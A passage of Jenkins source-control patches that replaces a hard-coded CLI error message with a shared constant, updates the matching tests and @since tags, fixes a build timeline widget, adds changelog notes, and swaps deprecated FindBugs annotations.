java.util.logging.Logger; /** + * CLI command, which deletes a job or multiple jobs. * @author pjanouse - * @since TODO + * @since 1.649 */ @Extension public class DeleteJobCommand extends CLICommand { @@ -83,7 +84,7 @@ public class DeleteJobCommand extends CLICommand { } if (errorOccurred) { - throw new AbortException("Error occured while performing this command, see previous stderr output."); + throw new AbortException(CLI_LISTPARAM_SUMMARY_ERROR_TEXT); } return 0; } diff --git a/core/src/main/java/hudson/cli/DeleteNodeCommand.java b/core/src/main/java/hudson/cli/DeleteNodeCommand.java index 5fc70fc764..03001fccc3 100644 --- a/core/src/main/java/hudson/cli/DeleteNodeCommand.java +++ b/core/src/main/java/hudson/cli/DeleteNodeCommand.java @@ -34,13 +34,14 @@ import java.util.List; import java.util.logging.Logger; /** + * CLI command, which deletes Jenkins nodes. * @author pjanouse - * @since TODO + * @since 1.618 */ @Extension public class DeleteNodeCommand extends CLICommand { - @Argument(usage="Nodes name to delete", required=true, multiValued=true) + @Argument(usage="Names of nodes to delete", required=true, multiValued=true) private List nodes; @Override @@ -82,7 +83,7 @@ public class DeleteNodeCommand extends CLICommand { } if (errorOccurred) { - throw new AbortException("Error occured while performing this command, see previous stderr output."); + throw new AbortException(CLI_LISTPARAM_SUMMARY_ERROR_TEXT); } return 0; } diff --git a/core/src/main/java/hudson/cli/DeleteViewCommand.java b/core/src/main/java/hudson/cli/DeleteViewCommand.java index 900e9cdc91..894978e683 100644 --- a/core/src/main/java/hudson/cli/DeleteViewCommand.java +++ b/core/src/main/java/hudson/cli/DeleteViewCommand.java @@ -95,7 +95,7 @@ public class DeleteViewCommand extends CLICommand { } if (errorOccurred) { - throw new AbortException("Error occured while performing this command, see previous stderr output."); + throw new AbortException(CLI_LISTPARAM_SUMMARY_ERROR_TEXT); } return 0; } diff --git a/core/src/main/java/hudson/cli/DisconnectNodeCommand.java b/core/src/main/java/hudson/cli/DisconnectNodeCommand.java index fdf9058050..91265879d1 100644 --- a/core/src/main/java/hudson/cli/DisconnectNodeCommand.java +++ b/core/src/main/java/hudson/cli/DisconnectNodeCommand.java @@ -37,12 +37,13 @@ import java.util.List; import java.util.logging.Logger; /** + * CLI Command, which disconnects nodes. * @author pjanouse - * @since TODO + * @since 2.14 */ @Extension public class DisconnectNodeCommand extends CLICommand { - @Argument(metaVar = "NAME", usage = "Slave name, or empty string for master; comama-separated list is supported", required = true, multiValued = true) + @Argument(metaVar = "NAME", usage = "Slave name, or empty string for master; comma-separated list is supported", required = true, multiValued = true) private List nodes; @Option(name = "-m", usage = "Record the reason about why you are disconnecting this node") @@ -94,7 +95,7 @@ public class DisconnectNodeCommand extends CLICommand { } if (errorOccurred) { - throw new AbortException("Error occured while performing this command, see previous stderr output."); + throw new AbortException(CLI_LISTPARAM_SUMMARY_ERROR_TEXT); } return 0; } diff --git a/core/src/main/java/hudson/cli/OfflineNodeCommand.java b/core/src/main/java/hudson/cli/OfflineNodeCommand.java index b92cee59ca..e003a633b2 100644 --- a/core/src/main/java/hudson/cli/OfflineNodeCommand.java +++ b/core/src/main/java/hudson/cli/OfflineNodeCommand.java @@ -39,8 +39,9 @@ import java.util.HashSet; import java.util.List; /** + * CLI Command, which puts the Jenkins node offline. * @author pjanouse - * @since TODO + * @since 2.15 */ @Extension public class OfflineNodeCommand extends CLICommand { @@ -88,7 +89,7 @@ public class OfflineNodeCommand extends CLICommand { } if (errorOccurred) { - throw new AbortException("Error occured while performing this command, see previous stderr output."); + throw new AbortException(CLI_LISTPARAM_SUMMARY_ERROR_TEXT); } return 0; } diff --git a/core/src/main/java/hudson/cli/OnlineNodeCommand.java b/core/src/main/java/hudson/cli/OnlineNodeCommand.java index 5890ef72e0..5cb190fcd8 100644 --- a/core/src/main/java/hudson/cli/OnlineNodeCommand.java +++ b/core/src/main/java/hudson/cli/OnlineNodeCommand.java @@ -37,8 +37,9 @@ import java.util.HashSet; import java.util.List; /** + * CLI Command, which moves the node to the online state. * @author pjanouse - * @since TODO + * @since 1.642 */ @Extension public class OnlineNodeCommand extends CLICommand { @@ -86,7 +87,7 @@ public class OnlineNodeCommand extends CLICommand { } if (errorOccurred){ - throw new AbortException("Error occured while performing this command, see previous stderr output."); + throw new AbortException(CLI_LISTPARAM_SUMMARY_ERROR_TEXT); } return 0; } diff --git a/core/src/main/java/hudson/cli/QuietDownCommand.java b/core/src/main/java/hudson/cli/QuietDownCommand.java index 76d4b78dd2..4d84055c8d 100644 --- a/core/src/main/java/hudson/cli/QuietDownCommand.java +++ b/core/src/main/java/hudson/cli/QuietDownCommand.java @@ -34,7 +34,7 @@ import java.util.logging.Logger; * Quiet down Jenkins - preparation for a restart * * @author pjanouse - * @since TODO + * @since 2.14 */ @Extension public class QuietDownCommand extends CLICommand { diff --git a/core/src/main/java/hudson/cli/ReloadConfigurationCommand.java b/core/src/main/java/hudson/cli/ReloadConfigurationCommand.java index 35cdad086c..25199ec5be 100644 --- a/core/src/main/java/hudson/cli/ReloadConfigurationCommand.java +++ b/core/src/main/java/hudson/cli/ReloadConfigurationCommand.java @@ -28,10 +28,10 @@ import hudson.Extension; import jenkins.model.Jenkins; /** - * Reload everything from file system + * Reload everything from the file system. * * @author pjanouse - * @since TODO + * @since 2.4 */ @Extension public class ReloadConfigurationCommand extends CLICommand { diff --git a/core/src/main/java/hudson/cli/ReloadJobCommand.java b/core/src/main/java/hudson/cli/ReloadJobCommand.java index 800161b29b..17b0379f73 100644 --- a/core/src/main/java/hudson/cli/ReloadJobCommand.java +++ b/core/src/main/java/hudson/cli/ReloadJobCommand.java @@ -38,8 +38,9 @@ import java.util.logging.Level; import java.util.logging.Logger; /** + * Reloads job from the disk. * @author pjanouse - * @since TODO + * @since 1.633 */ @Extension public class ReloadJobCommand extends CLICommand { @@ -100,7 +101,7 @@ public class ReloadJobCommand extends CLICommand { } if (errorOccurred) { - throw new AbortException("Error occured while performing this command, see previous stderr output."); + throw new AbortException(CLI_LISTPARAM_SUMMARY_ERROR_TEXT); } return 0; } diff --git a/core/src/main/java/hudson/cli/WaitNodeOfflineCommand.java b/core/src/main/java/hudson/cli/WaitNodeOfflineCommand.java index 161fe1879d..319e4424a9 100644 --- a/core/src/main/java/hudson/cli/WaitNodeOfflineCommand.java +++ b/core/src/main/java/hudson/cli/WaitNodeOfflineCommand.java @@ -28,8 +28,9 @@ import hudson.model.Node; import org.kohsuke.args4j.Argument; /** + * CLI command, which waits till the node switches to the offline state. * @author pjanouse - * @since TODO + * @since 2.16 */ @Extension public class WaitNodeOfflineCommand extends CLICommand { diff --git a/core/src/main/java/hudson/cli/WaitNodeOnlineCommand.java b/core/src/main/java/hudson/cli/WaitNodeOnlineCommand.java index fa33bdd17d..2e9713ad6f 100644 --- a/core/src/main/java/hudson/cli/WaitNodeOnlineCommand.java +++ b/core/src/main/java/hudson/cli/WaitNodeOnlineCommand.java @@ -28,8 +28,9 @@ import hudson.model.Node; import org.kohsuke.args4j.Argument; /** + * CLI command, which waits till the node switches to the online state. * @author pjanouse - * @since TODO + * @since 2.16 */ @Extension public class WaitNodeOnlineCommand extends CLICommand { diff --git a/test/src/test/java/hudson/cli/ConnectNodeCommandTest.java b/test/src/test/java/hudson/cli/ConnectNodeCommandTest.java index d35aef81c2..ec714605a8 100644 --- a/test/src/test/java/hudson/cli/ConnectNodeCommandTest.java +++ b/test/src/test/java/hudson/cli/ConnectNodeCommandTest.java @@ -64,7 +64,7 @@ public class ConnectNodeCommandTest { assertThat(result, failedWith(6)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("ERROR: user is missing the Agent/Connect permission")); - assertThat(result.stderr(), not(containsString("ERROR: Error occured while performing this command, see previous stderr output."))); + assertThat(result.stderr(), not(containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT))); } @Test public void connectNodeShouldFailIfNodeDoesNotExist() throws Exception { @@ -74,7 +74,7 @@ public class ConnectNodeCommandTest { assertThat(result, failedWith(3)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("ERROR: No such agent \"never_created\" exists.")); - assertThat(result.stderr(), not(containsString("ERROR: Error occured while performing this command, see previous stderr output."))); + assertThat(result.stderr(), not(containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT))); } @Test public void connectNodeShouldSucceed() throws Exception { @@ -156,7 +156,7 @@ public class ConnectNodeCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No such agent \"never_created\" exists. Did you mean \"aNode1\"?")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(slave1.toComputer().isOnline(), equalTo(true)); assertThat(slave2.toComputer().isOnline(), equalTo(true)); } diff --git a/test/src/test/java/hudson/cli/DeleteJobCommandTest.java b/test/src/test/java/hudson/cli/DeleteJobCommandTest.java index 1bf3622f99..81a5bb9669 100644 --- a/test/src/test/java/hudson/cli/DeleteJobCommandTest.java +++ b/test/src/test/java/hudson/cli/DeleteJobCommandTest.java @@ -131,7 +131,7 @@ public class DeleteJobCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No such job 'never_created'")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(j.jenkins.getItem("aProject1"), nullValue()); assertThat(j.jenkins.getItem("aProject2"), nullValue()); @@ -150,7 +150,7 @@ public class DeleteJobCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No such job 'never_created'")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(j.jenkins.getItem("aProject1"), nullValue()); assertThat(j.jenkins.getItem("aProject2"), nullValue()); @@ -169,7 +169,7 @@ public class DeleteJobCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No such job 'never_created'")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(j.jenkins.getItem("aProject1"), nullValue()); assertThat(j.jenkins.getItem("aProject2"), nullValue()); @@ -189,7 +189,7 @@ public class DeleteJobCommandTest { assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created1: No such job 'never_created1'")); assertThat(result.stderr(), containsString("never_created2: No such job 'never_created2'")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(j.jenkins.getItem("aProject1"), nullValue()); assertThat(j.jenkins.getItem("aProject2"), nullValue()); diff --git a/test/src/test/java/hudson/cli/DeleteNodeCommandTest.java b/test/src/test/java/hudson/cli/DeleteNodeCommandTest.java index 07ddcdca2a..a75607bc30 100644 --- a/test/src/test/java/hudson/cli/DeleteNodeCommandTest.java +++ b/test/src/test/java/hudson/cli/DeleteNodeCommandTest.java @@ -118,7 +118,7 @@ public class DeleteNodeCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No such node 'never_created'")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(j.jenkins.getView("aNode1"), nullValue()); assertThat(j.jenkins.getView("aNode2"), nullValue()); @@ -137,7 +137,7 @@ public class DeleteNodeCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No such node 'never_created'")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(j.jenkins.getView("aNode1"), nullValue()); assertThat(j.jenkins.getView("aNode2"), nullValue()); @@ -156,7 +156,7 @@ public class DeleteNodeCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No such node 'never_created'")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(j.jenkins.getView("aNode1"), nullValue()); assertThat(j.jenkins.getView("aNode2"), nullValue()); @@ -176,7 +176,7 @@ public class DeleteNodeCommandTest { assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created1: No such node 'never_created1'")); assertThat(result.stderr(), containsString("never_created2: No such node 'never_created2'")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(j.jenkins.getView("aNode1"), nullValue()); assertThat(j.jenkins.getView("aNode2"), nullValue()); diff --git a/test/src/test/java/hudson/cli/DeleteViewCommandTest.java b/test/src/test/java/hudson/cli/DeleteViewCommandTest.java index 732270fccc..d9ff9f708a 100644 --- a/test/src/test/java/hudson/cli/DeleteViewCommandTest.java +++ b/test/src/test/java/hudson/cli/DeleteViewCommandTest.java @@ -175,7 +175,7 @@ public class DeleteViewCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No view named never_created inside view Jenkins")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(j.jenkins.getView("aView1"), nullValue()); assertThat(j.jenkins.getView("aView2"), nullValue()); @@ -194,7 +194,7 @@ public class DeleteViewCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No view named never_created inside view Jenkins")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(j.jenkins.getView("aView1"), nullValue()); assertThat(j.jenkins.getView("aView2"), nullValue()); @@ -213,7 +213,7 @@ public class DeleteViewCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No view named never_created inside view Jenkins")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(j.jenkins.getView("aView1"), nullValue()); assertThat(j.jenkins.getView("aView2"), nullValue()); @@ -233,7 +233,7 @@ public class DeleteViewCommandTest { assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created1: No view named never_created1 inside view Jenkins")); assertThat(result.stderr(), containsString("never_created2: No view named never_created2 inside view Jenkins")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(j.jenkins.getView("aView1"), nullValue()); assertThat(j.jenkins.getView("aView2"), nullValue()); @@ -267,7 +267,7 @@ public class DeleteViewCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("All: Jenkins does not allow to delete 'All' view")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(j.jenkins.getView("aView1"), nullValue()); assertThat(j.jenkins.getView("aView2"), nullValue()); diff --git a/test/src/test/java/hudson/cli/DisconnectNodeCommandTest.java b/test/src/test/java/hudson/cli/DisconnectNodeCommandTest.java index 858a3c9ec0..534ef0f0b0 100644 --- a/test/src/test/java/hudson/cli/DisconnectNodeCommandTest.java +++ b/test/src/test/java/hudson/cli/DisconnectNodeCommandTest.java @@ -68,7 +68,7 @@ public class DisconnectNodeCommandTest { assertThat(result, failedWith(6)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("ERROR: user is missing the Agent/Disconnect permission")); - assertThat(result.stderr(), not(containsString("ERROR: Error occured while performing this command, see previous stderr output."))); + assertThat(result.stderr(), not(containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT))); } @Test @@ -79,7 +79,7 @@ public class DisconnectNodeCommandTest { assertThat(result, failedWith(3)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("ERROR: No such agent \"never_created\" exists.")); - assertThat(result.stderr(), not(containsString("ERROR: Error occured while performing this command, see previous stderr output."))); + assertThat(result.stderr(), not(containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT))); } @Test @@ -233,7 +233,7 @@ public class DisconnectNodeCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No such agent \"never_created\" exists. Did you mean \"aNode1\"?")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(slave1.toComputer().isOffline(), equalTo(true)); assertThat(slave1.toComputer().getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); assertThat(((OfflineCause.ByCLI) slave1.toComputer().getOfflineCause()).message, equalTo("aCause")); diff --git a/test/src/test/java/hudson/cli/OfflineNodeCommandTest.java b/test/src/test/java/hudson/cli/OfflineNodeCommandTest.java index a1623f853b..0dae4a5657 100644 --- a/test/src/test/java/hudson/cli/OfflineNodeCommandTest.java +++ b/test/src/test/java/hudson/cli/OfflineNodeCommandTest.java @@ -74,7 +74,7 @@ public class OfflineNodeCommandTest { assertThat(result, failedWith(6)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("ERROR: user is missing the Agent/Disconnect permission")); - assertThat(result.stderr(), not(containsString("ERROR: Error occured while performing this command, see previous stderr output."))); + assertThat(result.stderr(), not(containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT))); } @Test @@ -85,7 +85,7 @@ public class OfflineNodeCommandTest { assertThat(result, failedWith(3)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("ERROR: No such agent \"never_created\" exists.")); - assertThat(result.stderr(), not(containsString("ERROR: Error occured while performing this command, see previous stderr output."))); + assertThat(result.stderr(), not(containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT))); } @Test @@ -371,7 +371,7 @@ public class OfflineNodeCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No such agent \"never_created\" exists. Did you mean \"aNode1\"?")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(slave1.toComputer().isOffline(), equalTo(true)); assertThat(slave1.toComputer().getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); assertThat(((OfflineCause.ByCLI) slave1.toComputer().getOfflineCause()).message, equalTo(null)); @@ -397,7 +397,7 @@ public class OfflineNodeCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No such agent \"never_created\" exists. Did you mean \"aNode1\"?")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(slave1.toComputer().isOffline(), equalTo(true)); assertThat(slave1.toComputer().getOfflineCause(), instanceOf(OfflineCause.ByCLI.class)); assertThat(((OfflineCause.ByCLI) slave1.toComputer().getOfflineCause()).message, equalTo("aCause")); diff --git a/test/src/test/java/hudson/cli/OnlineNodeCommandTest.java b/test/src/test/java/hudson/cli/OnlineNodeCommandTest.java index ac10883416..97c84a6e8f 100644 --- a/test/src/test/java/hudson/cli/OnlineNodeCommandTest.java +++ b/test/src/test/java/hudson/cli/OnlineNodeCommandTest.java @@ -253,7 +253,7 @@ public class OnlineNodeCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No such agent \"never_created\" exists. Did you mean \"aNode1\"?")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); if (slave1.toComputer().isConnecting()) { System.out.println("Waiting until aNode1 going online is in progress..."); slave1.toComputer().waitUntilOnline(); diff --git a/test/src/test/java/hudson/cli/ReloadJobCommandTest.java b/test/src/test/java/hudson/cli/ReloadJobCommandTest.java index 40869bab3f..2e21dc0b91 100644 --- a/test/src/test/java/hudson/cli/ReloadJobCommandTest.java +++ b/test/src/test/java/hudson/cli/ReloadJobCommandTest.java @@ -181,7 +181,7 @@ public class ReloadJobCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No such job \u2018never_created\u2019 exists.")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(project1.scheduleBuild2(0).get().getLog(), containsString("echo 2")); assertThat(project2.scheduleBuild2(0).get().getLog(), containsString("echo 2")); @@ -207,7 +207,7 @@ public class ReloadJobCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No such job \u2018never_created\u2019 exists.")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(project1.scheduleBuild2(0).get().getLog(), containsString("echo 2")); assertThat(project2.scheduleBuild2(0).get().getLog(), containsString("echo 2")); @@ -233,7 +233,7 @@ public class ReloadJobCommandTest { assertThat(result, failedWith(5)); assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created: No such job \u2018never_created\u2019 exists.")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(project1.scheduleBuild2(0).get().getLog(), containsString("echo 2")); assertThat(project2.scheduleBuild2(0).get().getLog(), containsString("echo 2")); @@ -260,7 +260,7 @@ public class ReloadJobCommandTest { assertThat(result, hasNoStandardOutput()); assertThat(result.stderr(), containsString("never_created1: No such job \u2018never_created1\u2019 exists.")); assertThat(result.stderr(), containsString("never_created2: No such job \u2018never_created2\u2019 exists.")); - assertThat(result.stderr(), containsString("ERROR: Error occured while performing this command, see previous stderr output.")); + assertThat(result.stderr(), containsString("ERROR: " + CLICommand.CLI_LISTPARAM_SUMMARY_ERROR_TEXT)); assertThat(project1.scheduleBuild2(0).get().getLog(), containsString("echo 2")); assertThat(project2.scheduleBuild2(0).get().getLog(), containsString("echo 2")); -- GitLab From 2a0ac4f0989407a20e277444a7737e9c5f7ea78a Mon Sep 17 00:00:00 2001 From: Akbashev Alexander Date: Sat, 15 Oct 2016 17:35:09 +0200 Subject: [PATCH 210/712] [FIX JENKINS-23244] Slave build history page has no data and spawns a ton of very long-lived blocking threads on the master (#2584) Mainly commit are doing two things: 1) Show only selected (visible) builds 2) Query build one-by-one - not it parallel --- .../model/BuildTimelineWidget/control.jelly | 49 +++++++++++-------- 1 file changed, 28 insertions(+), 21 deletions(-) diff --git a/core/src/main/resources/hudson/model/BuildTimelineWidget/control.jelly b/core/src/main/resources/hudson/model/BuildTimelineWidget/control.jelly index f695275f06..a9efb2525b 100644 --- a/core/src/main/resources/hudson/model/BuildTimelineWidget/control.jelly +++ b/core/src/main/resources/hudson/model/BuildTimelineWidget/control.jelly @@ -41,35 +41,42 @@ THE SOFTWARE. var tz = ${(tz.rawOffset + tz.DSTSavings) / 3600000}; var tl = null; + var interval = 24*60*60*1000; Date: Sat, 15 Oct 2016 10:44:02 -0700 Subject: [PATCH 211/712] Noting #2581, #2561, #2577, #1894, #2563 and #2585 --- changelog.html | 28 +++++++++++++++++++++++++++- 1 file changed, 27 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 390f05d082..5b40dddd3f 100644 --- a/changelog.html +++ b/changelog.html @@ -56,7 +56,33 @@ Upcoming changes

    What's new in 2.25 (2016/10/09)

    -- GitLab From 7f6f495f866bc234fe5a54ce866e8b214ba693b2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Oliver=20Gond=C5=BEa?= Date: Sat, 15 Oct 2016 21:53:56 +0200 Subject: [PATCH 212/712] Avoid deprecated findbugs annotations (#2144) * Avoid deprecated findbugs annotations * One more forgotten annotation --- core/src/main/java/hudson/UDPBroadcastThread.java | 4 ++-- core/src/main/java/hudson/Util.java | 4 ++-- core/src/main/java/hudson/WebAppMain.java | 2 +- core/src/main/java/hudson/cli/GroovyshCommand.java | 4 ++-- core/src/main/java/hudson/logging/LogRecorderManager.java | 2 +- core/src/main/java/hudson/model/Computer.java | 5 ++--- core/src/main/java/hudson/slaves/NodeSpecific.java | 5 +++-- core/src/main/java/hudson/slaves/SlaveComputer.java | 5 ++--- core/src/main/java/hudson/triggers/Trigger.java | 2 +- core/src/main/java/hudson/util/XStream2.java | 4 ++-- core/src/main/java/jenkins/model/Jenkins.java | 6 +++--- .../security/QueueItemAuthenticatorConfiguration.java | 4 ++-- .../jenkins/security/QueueItemAuthenticatorProvider.java | 6 ++---- core/src/main/java/jenkins/util/ProgressiveRendering.java | 2 +- core/src/test/java/hudson/slaves/ComputerLauncherTest.java | 3 +-- test/src/test/java/hudson/cli/CopyJobCommandTest.java | 2 -- test/src/test/java/hudson/cli/GetJobCommandTest.java | 2 -- test/src/test/java/hudson/model/FreeStyleProjectTest.java | 2 -- 18 files changed, 27 insertions(+), 37 deletions(-) diff --git a/core/src/main/java/hudson/UDPBroadcastThread.java b/core/src/main/java/hudson/UDPBroadcastThread.java index 6b399c5b26..03bdbc3bba 100644 --- a/core/src/main/java/hudson/UDPBroadcastThread.java +++ b/core/src/main/java/hudson/UDPBroadcastThread.java @@ -24,7 +24,7 @@ package hudson; import jenkins.util.SystemProperties; -import edu.umd.cs.findbugs.annotations.SuppressWarnings; +import edu.umd.cs.findbugs.annotations.SuppressFBWarnings; import hudson.model.Hudson; import jenkins.model.Jenkins; import hudson.util.OneShotEvent; @@ -71,7 +71,7 @@ public class UDPBroadcastThread extends Thread { mcs = new MulticastSocket(PORT); } - @SuppressWarnings("ST_WRITE_TO_STATIC_FROM_INSTANCE_METHOD") + @SuppressFBWarnings("ST_WRITE_TO_STATIC_FROM_INSTANCE_METHOD") @Override public void run() { try { diff --git a/core/src/main/java/hudson/Util.java b/core/src/main/java/hudson/Util.java index f8e0205889..a6764f7fdf 100644 --- a/core/src/main/java/hudson/Util.java +++ b/core/src/main/java/hudson/Util.java @@ -27,7 +27,7 @@ import jenkins.util.SystemProperties; import com.sun.jna.Native; import edu.umd.cs.findbugs.annotations.SuppressFBWarnings; -import edu.umd.cs.findbugs.annotations.SuppressWarnings; +import edu.umd.cs.findbugs.annotations.SuppressFBWarnings; import hudson.Proc.LocalProc; import hudson.model.TaskListener; import hudson.os.PosixAPI; @@ -527,7 +527,7 @@ public class Util { return !fileInCanonicalParent.getCanonicalFile().equals( fileInCanonicalParent.getAbsoluteFile() ); } - @SuppressWarnings("NP_BOOLEAN_RETURN_NULL") + @SuppressFBWarnings("NP_BOOLEAN_RETURN_NULL") private static Boolean isSymlinkJava7(@Nonnull File file) throws IOException { try { Path path = file.toPath(); diff --git a/core/src/main/java/hudson/WebAppMain.java b/core/src/main/java/hudson/WebAppMain.java index b4a956513f..947363b78e 100644 --- a/core/src/main/java/hudson/WebAppMain.java +++ b/core/src/main/java/hudson/WebAppMain.java @@ -291,7 +291,7 @@ public class WebAppMain implements ServletContextListener { /** * Installs log handler to monitor all Hudson logs. */ - @edu.umd.cs.findbugs.annotations.SuppressWarnings("LG_LOST_LOGGER_DUE_TO_WEAK_REFERENCE") + @edu.umd.cs.findbugs.annotations.SuppressFBWarnings("LG_LOST_LOGGER_DUE_TO_WEAK_REFERENCE") private void installLogger() { Jenkins.logRecords = handler.getView(); Logger.getLogger("").addHandler(handler); diff --git a/core/src/main/java/hudson/cli/GroovyshCommand.java b/core/src/main/java/hudson/cli/GroovyshCommand.java index 2807d872d0..31f998d0aa 100644 --- a/core/src/main/java/hudson/cli/GroovyshCommand.java +++ 